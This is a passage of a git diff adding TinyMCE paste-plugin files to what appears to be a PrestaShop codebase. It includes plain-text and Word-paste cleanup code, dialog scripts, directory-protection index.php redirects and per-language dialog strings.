or number spans if they exists + each(dom.select('span', p), function(span) { + var html = span.innerHTML.replace(/<\/?\w+[^>]*>/gi, ''); + + // Remove span with the middot or the number + if (type == 'ul' && /^__MCE_ITEM__[\u2022\u00b7\u00a7\u00d8o\u25CF]/.test(html)) + dom.remove(span); + else if (/^__MCE_ITEM__[\s\S]*\w+\.( |\u00a0)*\s*/.test(html)) + dom.remove(span); + }); + + html = p.innerHTML; + + // Remove middot/list items + if (type == 'ul') + html = p.innerHTML.replace(/__MCE_ITEM__/g, '').replace(/^[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*( |\u00a0)+\s*/, ''); + else + html = p.innerHTML.replace(/__MCE_ITEM__/g, '').replace(/^\s*\w+\.( |\u00a0)+\s*/, ''); + + // Create li and add paragraph data into the new li + li = listElm.appendChild(dom.create('li', 0, html)); + dom.remove(p); + + lastMargin = margin; + lastType = type; + } else + listElm = lastMargin = 0; // End list element + }); + + // Remove any left over makers + html = o.node.innerHTML; + if (html.indexOf('__MCE_ITEM__') != -1) + o.node.innerHTML = html.replace(/__MCE_ITEM__/g, ''); + }, + + /** + * Inserts the specified contents at the caret position. + */ + _insert : function(h, skip_undo) { + var ed = this.editor, r = ed.selection.getRng(); + + // First delete the contents seems to work better on WebKit when the selection spans multiple list items or multiple table cells. + if (!ed.selection.isCollapsed() && r.startContainer != r.endContainer) + ed.getDoc().execCommand('Delete', false, null); + + ed.execCommand('mceInsertContent', false, h, {skip_undo : skip_undo}); + }, + + /** + * Instead of the old plain text method which tried to re-create a paste operation, the + * new approach adds a plain text mode toggle switch that changes the behavior of paste. + * This function is passed the same input that the regular paste plugin produces. + * It performs additional scrubbing and produces (and inserts) the plain text. + * This approach leverages all of the great existing functionality in the paste + * plugin, and requires minimal changes to add the new functionality. + * Speednet - June 2009 + */ + _insertPlainText : function(content) { + var ed = this.editor, + linebr = getParam(ed, "paste_text_linebreaktype"), + rl = getParam(ed, "paste_text_replacements"), + is = tinymce.is; + + function process(items) { + each(items, function(v) { + if (v.constructor == RegExp) + content = content.replace(v, ""); + else + content = content.replace(v[0], v[1]); + }); + }; + + if ((typeof(content) === "string") && (content.length > 0)) { + // If HTML content with line-breaking tags, then remove all cr/lf chars because only tags will break a line + if (/<(?:p|br|h[1-6]|ul|ol|dl|table|t[rdh]|div|blockquote|fieldset|pre|address|center)[^>]*>/i.test(content)) { + process([ + /[\n\r]+/g + ]); + } else { + // Otherwise just get rid of carriage returns (only need linefeeds) + process([ + /\r+/g + ]); + } + + process([ + [/<\/(?:p|h[1-6]|ul|ol|dl|table|div|blockquote|fieldset|pre|address|center)>/gi, "\n\n"], // Block tags get a blank line after them + [/]*>|<\/tr>/gi, "\n"], // Single linebreak for
    tags and table rows + [/<\/t[dh]>\s*]*>/gi, "\t"], // Table cells get tabs betweem them + /<[a-z!\/?][^>]*>/gi, // Delete all remaining tags + [/ /gi, " "], // Convert non-break spaces to regular spaces (remember, *plain text*) + [/(?:(?!\n)\s)*(\n+)(?:(?!\n)\s)*/gi, "$1"],// Cool little RegExp deletes whitespace around linebreak chars. + [/\n{3,}/g, "\n\n"] // Max. 2 consecutive linebreaks + ]); + + content = ed.dom.decode(tinymce.html.Entities.encodeRaw(content)); + + // Perform default or custom replacements + if (is(rl, "array")) { + process(rl); + } else if (is(rl, "string")) { + process(new RegExp(rl, "gi")); + } + + // Treat paragraphs as specified in the config + if (linebr == "none") { + // Convert all line breaks to space + process([ + [/\n+/g, " "] + ]); + } else if (linebr == "br") { + // Convert all line breaks to
    + process([ + [/\n/g, "
    "] + ]); + } else if (linebr == "p") { + // Convert all line breaks to

    ...

    + process([ + [/\n+/g, "

    "], + [/^(.*<\/p>)(

    )$/, '

    $1'] + ]); + } else { + // defaults to "combined" + // Convert single line breaks to
    and double line breaks to

    ...

    + process([ + [/\n\n/g, "

    "], + [/^(.*<\/p>)(

    )$/, '

    $1'], + [/\n/g, "
    "] + ]); + } + + ed.execCommand('mceInsertContent', false, content); + } + }, + + /** + * This method will open the old style paste dialogs. Some users might want the old behavior but still use the new cleanup engine. + */ + _legacySupport : function() { + var t = this, ed = t.editor; + + // Register command(s) for backwards compatibility + ed.addCommand("mcePasteWord", function() { + ed.windowManager.open({ + file: t.url + "/pasteword.htm", + width: parseInt(getParam(ed, "paste_dialog_width")), + height: parseInt(getParam(ed, "paste_dialog_height")), + inline: 1 + }); + }); + + if (getParam(ed, "paste_text_use_dialog")) { + ed.addCommand("mcePasteText", function() { + ed.windowManager.open({ + file : t.url + "/pastetext.htm", + width: parseInt(getParam(ed, "paste_dialog_width")), + height: parseInt(getParam(ed, "paste_dialog_height")), + inline : 1 + }); + }); + } + + // Register button for backwards compatibility + ed.addButton("pasteword", {title : "paste.paste_word_desc", cmd : "mcePasteWord"}); + } + }); + + // Register plugin + tinymce.PluginManager.add("paste", tinymce.plugins.PastePlugin); +})(); diff --git a/js/tiny_mce2/plugins/paste/index.php b/js/tiny_mce2/plugins/paste/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/paste/js/index.php b/js/tiny_mce2/plugins/paste/js/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/paste/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/js/pastetext.js b/js/tiny_mce2/plugins/paste/js/pastetext.js new file mode 100755 index 0000000..81b1d6a --- /dev/null +++ b/js/tiny_mce2/plugins/paste/js/pastetext.js @@ -0,0 +1,36 @@ +tinyMCEPopup.requireLangPack(); + +var PasteTextDialog = { + init : function() { + this.resize(); + }, + + insert : function() { + var h = tinyMCEPopup.dom.encode(document.getElementById('content').value), lines; + + // Convert linebreaks into paragraphs + if (document.getElementById('linebreaks').checked) { + lines = h.split(/\r?\n/); + if (lines.length > 1) { + h = ''; + tinymce.each(lines, function(row) { + h += '

    ' + row + '

    '; + }); + } + } + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('content'); + + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } +}; + +tinyMCEPopup.onInit.add(PasteTextDialog.init, PasteTextDialog); diff --git a/js/tiny_mce2/plugins/paste/js/pasteword.js b/js/tiny_mce2/plugins/paste/js/pasteword.js new file mode 100755 index 0000000..959bf39 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/js/pasteword.js @@ -0,0 +1,51 @@ +tinyMCEPopup.requireLangPack(); + +var PasteWordDialog = { + init : function() { + var ed = tinyMCEPopup.editor, el = document.getElementById('iframecontainer'), ifr, doc, css, cssHTML = ''; + + // Create iframe + el.innerHTML = ''; + ifr = document.getElementById('iframe'); + doc = ifr.contentWindow.document; + + // Force absolute CSS urls + css = [ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css")]; + css = css.concat(tinymce.explode(ed.settings.content_css) || []); + tinymce.each(css, function(u) { + cssHTML += ''; + }); + + // Write content into iframe + doc.open(); + doc.write('' + cssHTML + ''); + doc.close(); + + doc.designMode = 'on'; + this.resize(); + + window.setTimeout(function() { + ifr.contentWindow.focus(); + }, 10); + }, + + insert : function() { + var h = document.getElementById('iframe').contentWindow.document.body.innerHTML; + + tinyMCEPopup.editor.execCommand('mceInsertClipboardContent', false, {content : h, wordContent : true}); + tinyMCEPopup.close(); + }, + + resize : function() { + var vp = tinyMCEPopup.dom.getViewPort(window), el; + + el = document.getElementById('iframe'); + + if (el) { + el.style.width = (vp.w - 20) + 'px'; + el.style.height = (vp.h - 90) + 'px'; + } + } +}; + +tinyMCEPopup.onInit.add(PasteWordDialog.init, PasteWordDialog); diff --git a/js/tiny_mce2/plugins/paste/langs/ar_dlg.js b/js/tiny_mce2/plugins/paste/langs/ar_dlg.js new file mode 100755 index 0000000..f4fb2ab --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.paste_dlg',{"word_title":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0644\u0644\u0635\u0642 \u0627\u0644\u0646\u0635 \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631.( CTRL+V )","text_linebreaks":"\u0627\u062d\u062a\u0641\u0638 \u0628\u0641\u0648\u0627\u0635\u0644 \u0627\u0644\u0623\u0633\u0637\u0631","text_title":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d \u0644\u0644\u0635\u0642 \u0627\u0644\u0646\u0635 \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631.( CTRL+V )"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/az_dlg.js b/js/tiny_mce2/plugins/paste/langs/az_dlg.js new file mode 100755 index 0000000..98a7fe1 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.paste_dlg',{"word_title":"P\u0259nc\u0259r\u0259y\u0259 s\u00f6z \u0259lav\u0259 etm\u0259k \u00fc\u00e7\u00fcn CTRL+V klavi\u015f birl\u0259\u015fm\u0259sini istifad\u0259 edin.","text_linebreaks":"S\u0259tr s\u0131nmalar\u0131n\u0131 saxla","text_title":"P\u0259nc\u0259r\u0259y\u0259 m\u0259tn \u0259lav\u0259 etm\u0259k \u00fc\u00e7\u00fcn CTRL+V klavi\u015f birl\u0259\u015fm\u0259sini istifad\u0259 edin."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/bg_dlg.js b/js/tiny_mce2/plugins/paste/langs/bg_dlg.js new file mode 100755 index 0000000..722ecdc --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.paste_dlg',{"word_title":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 CTRL V \u043e\u0442 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430\u0442\u0430, \u0437\u0430 \u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430.","text_linebreaks":"\u0417\u0430\u043f\u0430\u0437\u0438 \u0437\u043d\u0430\u0446\u0438\u0442\u0435 \u0437\u0430 \u043d\u043e\u0432\u0438 \u0440\u0435\u0434\u043e\u0432\u0435","text_title":"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 CTRL V \u043d\u0430 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430\u0442\u0430, \u0437\u0430 \u0434\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/ca_dlg.js b/js/tiny_mce2/plugins/paste/langs/ca_dlg.js new file mode 100755 index 0000000..ac180fb --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.paste_dlg',{"word_title":"Amb el teclat utilitzeu CTRL+V per a enganxar el text dins la finestra.","text_linebreaks":"Conserva els salts de l\u00ednia","text_title":"Amb el teclat utilitzeu CTRL+V per a enganxar el text dins la finestra."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/cs_dlg.js b/js/tiny_mce2/plugins/paste/langs/cs_dlg.js new file mode 100755 index 0000000..66936bb --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.paste_dlg',{"word_title":"Pou\u017eijte CTRL+V pro vlo\u017een\u00ed textu do okna.","text_linebreaks":"Zachovat zalamov\u00e1n\u00ed \u0159\u00e1dk\u016f","text_title":"Pou\u017eijte CTRL+V pro vlo\u017een\u00ed textu do okna."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/da_dlg.js b/js/tiny_mce2/plugins/paste/langs/da_dlg.js new file mode 100755 index 0000000..7e1b961 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.paste_dlg',{"word_title":"Anvend CTRL+V p\u00e5 tastaturet for at inds\u00e6tte teksten.","text_linebreaks":"Bevar linieskift","text_title":"Anvend CTRL+V p\u00e5 tastaturet for at inds\u00e6tte teksten."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/de_dlg.js b/js/tiny_mce2/plugins/paste/langs/de_dlg.js new file mode 100755 index 0000000..84b9bc6 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.paste_dlg',{"word_title":"Dr\u00fccken Sie auf Ihrer Tastatur Strg+V, um den Text einzuf\u00fcgen.","text_linebreaks":"Zeilenumbr\u00fcche beibehalten","text_title":"Dr\u00fccken Sie auf Ihrer Tastatur Strg+V, um den Text einzuf\u00fcgen."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/el_dlg.js b/js/tiny_mce2/plugins/paste/langs/el_dlg.js new file mode 100755 index 0000000..563ecc7 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.paste_dlg',{"word_title":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 CTRL+V \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03b5\u03c4\u03b5 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf.","text_linebreaks":"\u039d\u03b1 \u03ba\u03c1\u03b1\u03c4\u03b7\u03b8\u03bf\u03cd\u03bd \u03c4\u03b1 linebreaks","text_title":"\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 CTRL+V \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03ba\u03ac\u03bd\u03b5\u03c4\u03b5 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/en_dlg.js b/js/tiny_mce2/plugins/paste/langs/en_dlg.js new file mode 100755 index 0000000..bc74daf --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.paste_dlg',{"word_title":"Use Ctrl+V on your keyboard to paste the text into the window.","text_linebreaks":"Keep Linebreaks","text_title":"Use Ctrl+V on your keyboard to paste the text into the window."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/es_dlg.js b/js/tiny_mce2/plugins/paste/langs/es_dlg.js new file mode 100755 index 0000000..82d8dc2 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.paste_dlg',{"word_title":"Use CTRL+V en su teclado para pegar el texto en la ventana.","text_linebreaks":"Keep linebreaks","text_title":"Use CTRL+V en su teclado para pegar el texto en la ventana."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/et_dlg.js b/js/tiny_mce2/plugins/paste/langs/et_dlg.js new file mode 100755 index 0000000..8949d83 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.paste_dlg',{"word_title":"Vajuta CTRL+V oma klaviatuuril teksti aknasse kleepimiseks.","text_linebreaks":"J\u00e4ta reavahetused","text_title":"Vajuta CTRL+V oma klaviatuuril teksti aknasse kleepimiseks."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/fa_dlg.js b/js/tiny_mce2/plugins/paste/langs/fa_dlg.js new file mode 100755 index 0000000..cb554bc --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.paste_dlg',{"word_title":"\u062c\u0647\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u0627\u0632 CTRL+V \u0628\u0631 \u0631\u0648\u06cc \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f.","text_linebreaks":"\u062d\u0641\u0638 \u0642\u0637\u0639 \u062e\u0637\u0648\u0637","text_title":"\u062c\u0647\u062a \u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0645\u062a\u0646 \u062f\u0631 \u067e\u0646\u062c\u0631\u0647 \u0627\u0632 CTRL+V \u0628\u0631 \u0631\u0648\u06cc \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0645\u0627\u0626\u06cc\u062f."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/fi_dlg.js b/js/tiny_mce2/plugins/paste/langs/fi_dlg.js new file mode 100755 index 0000000..530e507 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.paste_dlg',{"word_title":"Paina Ctrl+V liitt\u00e4\u00e4ksesi sis\u00e4ll\u00f6n ikkunaan.","text_linebreaks":"S\u00e4ilyt\u00e4 rivinvaihdot","text_title":"Paina Ctrl+V liitt\u00e4\u00e4ksesi sis\u00e4ll\u00f6n ikkunaan."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/fr_dlg.js b/js/tiny_mce2/plugins/paste/langs/fr_dlg.js new file mode 100755 index 0000000..acc5d63 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.paste_dlg',{"word_title":"Utilisez CTRL+V sur votre clavier pour coller le texte dans la fen\u00eatre.","text_linebreaks":"Conserver les retours \u00e0 la ligne","text_title":"Utilisez CTRL+V sur votre clavier pour coller le texte dans la fen\u00eatre."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/gl_dlg.js b/js/tiny_mce2/plugins/paste/langs/gl_dlg.js new file mode 100755 index 0000000..3fc652d --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.paste_dlg',{"word_title":"Use CTRL+V no teclado pra pega-lo texto na vent\u00e1.","text_linebreaks":"Manter salto de li\u00f1as","text_title":"Use CTRL+V no teclado pra pega-lo texto na vent\u00e1."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/he_dlg.js b/js/tiny_mce2/plugins/paste/langs/he_dlg.js new file mode 100755 index 0000000..5fe796a --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.paste_dlg',{"word_title":"\u05d4\u05d3\u05d1\u05d9\u05e7\u05d5 \u05d1\u05d7\u05dc\u05d5\u05df \u05d6\u05d4 \u05d0\u05ea \u05d4\u05d8\u05e7\u05e1\u05d8 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05d4\u05de\u05e7\u05e9\u05d9\u05dd CTRL+V.","text_linebreaks":"\u05d4\u05e9\u05d0\u05e8 \u05d0\u05ea \u05e9\u05d5\u05e8\u05d5\u05ea \u05d4\u05e8\u05d5\u05d5\u05d7","text_title":"\u05d4\u05d3\u05d1\u05d9\u05e7\u05d5 \u05d1\u05d7\u05dc\u05d5\u05df \u05d6\u05d4 \u05d0\u05ea \u05d4\u05d8\u05e7\u05e1\u05d8 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05d4\u05de\u05e7\u05e9\u05d9\u05dd CTRL+V."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/hu_dlg.js b/js/tiny_mce2/plugins/paste/langs/hu_dlg.js new file mode 100755 index 0000000..7f4fb7e --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.paste_dlg',{"word_title":"Haszn\u00e1lja a Ctrl+V-t a billenty\u0171zet\u00e9n a beilleszt\u00e9shez.","text_linebreaks":"Sort\u00f6r\u00e9sek megtart\u00e1sa","text_title":"Haszn\u00e1lja a Ctrl+V-t a billenty\u0171zet\u00e9n a beilleszt\u00e9shez."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/id_dlg.js b/js/tiny_mce2/plugins/paste/langs/id_dlg.js new file mode 100755 index 0000000..f3e05b5 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.paste_dlg',{"word_title":"Gunakan CTRL+V pada keyboard untuk paste.","text_linebreaks":"Keep linebreaks","text_title":"Gunakan CTRL+V pada keyboard untuk paste."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/index.php b/js/tiny_mce2/plugins/paste/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/paste/langs/it_dlg.js b/js/tiny_mce2/plugins/paste/langs/it_dlg.js new file mode 100755 index 0000000..f1b8dc7 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.paste_dlg',{"word_title":"Premere CTRL+V sulla tastiera per incollare il testo nella finestra.","text_linebreaks":"Mantieni interruzioni di riga","text_title":"Premere CTRL+V sulla tastiera per incollare il testo nella finestra."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/ja_dlg.js b/js/tiny_mce2/plugins/paste/langs/ja_dlg.js new file mode 100755 index 0000000..5af5982 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.paste_dlg',{"word_title":"Ctrl V(\u30ad\u30fc\u30dc\u30fc\u30c9)\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c6\u30ad\u30b9\u30c8\u3092\u30a6\u30a3\u30f3\u30c9\u30a6\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002","text_linebreaks":"\u6539\u884c\u3092\u4fdd\u6301","text_title":"Ctrl V(\u30ad\u30fc\u30dc\u30fc\u30c9)\u3092\u4f7f\u7528\u3057\u3066\u3001\u30c6\u30ad\u30b9\u30c8\u3092\u30a6\u30a3\u30f3\u30c9\u30a6\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/ka_dlg.js b/js/tiny_mce2/plugins/paste/langs/ka_dlg.js new file mode 100755 index 0000000..dedcfd3 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.paste_dlg',{"word_title":"\u0418\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e9\u10d0\u10e1\u10d0\u10e1\u10db\u10d4\u10da\u10d0\u10d3 \u10d2\u10d0\u10db\u10dd\u10d8\u10e7\u10d4\u10dc\u10d4\u10d7 \u10d9\u10da\u10d0\u10d5\u10d8\u10d0\u10e2\u10e3\u10e0\u10e3\u10da\u10d8 \u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d0 CTRL+V.","text_linebreaks":"\u10d2\u10d0\u10d3\u10d0\u10e2\u10d0\u10dc\u10d8\u10da\u10d8 \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0","text_title":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e9\u10d0\u10e1\u10d0\u10e1\u10db\u10d4\u10da\u10d0\u10d3 \u10d2\u10d0\u10db\u10dd\u10d8\u10e7\u10d4\u10dc\u10d4\u10d7 \u10d9\u10da\u10d0\u10d5\u10d8\u10d0\u10e2\u10e3\u10e0\u10e3\u10da\u10d8 \u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d0 CTRL+V."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/ko_dlg.js b/js/tiny_mce2/plugins/paste/langs/ko_dlg.js new file mode 100755 index 0000000..3b58f65 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.paste_dlg',{"word_title":"\uc708\ub3c4\uc6b0\uc5d0 \ud14d\uc2a4\ud2b8\ub97c \ubd99\uc774\ub824\uba74 \ud0a4\ubcf4\ub4dc\ub85cCtrl+V\ub97c \uc785\ub825\ud574 \uc8fc\uc138\uc694.","text_linebreaks":"\uac1c\ud589\uc744 \ubcf4\uad00 \uc720\uc9c0","text_title":"\uc708\ub3c4\uc6b0\uc5d0 \ud14d\uc2a4\ud2b8\ub97c \ubd99\uc774\ub824\uba74 \ud0a4\ubcf4\ub4dc\ub85c Ctrl+V\ub97c \uc785\ub825\ud574 \uc8fc\uc138\uc694."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/lt_dlg.js b/js/tiny_mce2/plugins/paste/langs/lt_dlg.js new file mode 100755 index 0000000..7cf928d --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.paste_dlg',{"word_title":"Naudokite CTRL+V tekstui \u012fd\u0117ti \u012f \u0161\u012f lang\u0105.","text_linebreaks":"Palikti eilu\u010di\u0173 l\u016b\u017eius","text_title":"Naudokite CTRL+V tekstui \u012fd\u0117ti \u012f \u0161\u012f lang\u0105."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/nl_dlg.js b/js/tiny_mce2/plugins/paste/langs/nl_dlg.js new file mode 100755 index 0000000..bac8ac0 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.paste_dlg',{"word_title":"Gebruik Ctrl+V om tekst in het venster te plakken.","text_linebreaks":"Regelafbreking bewaren","text_title":"Gebruik Ctrl+V om tekst in het venster te plakken."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/no_dlg.js b/js/tiny_mce2/plugins/paste/langs/no_dlg.js new file mode 100755 index 0000000..3f8e333 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.paste_dlg',{"word_title":"Bruk CTRL+V p\u00e5 tastaturet for \u00e5 lime inn teksten i dette vinduet.","text_linebreaks":"Behold 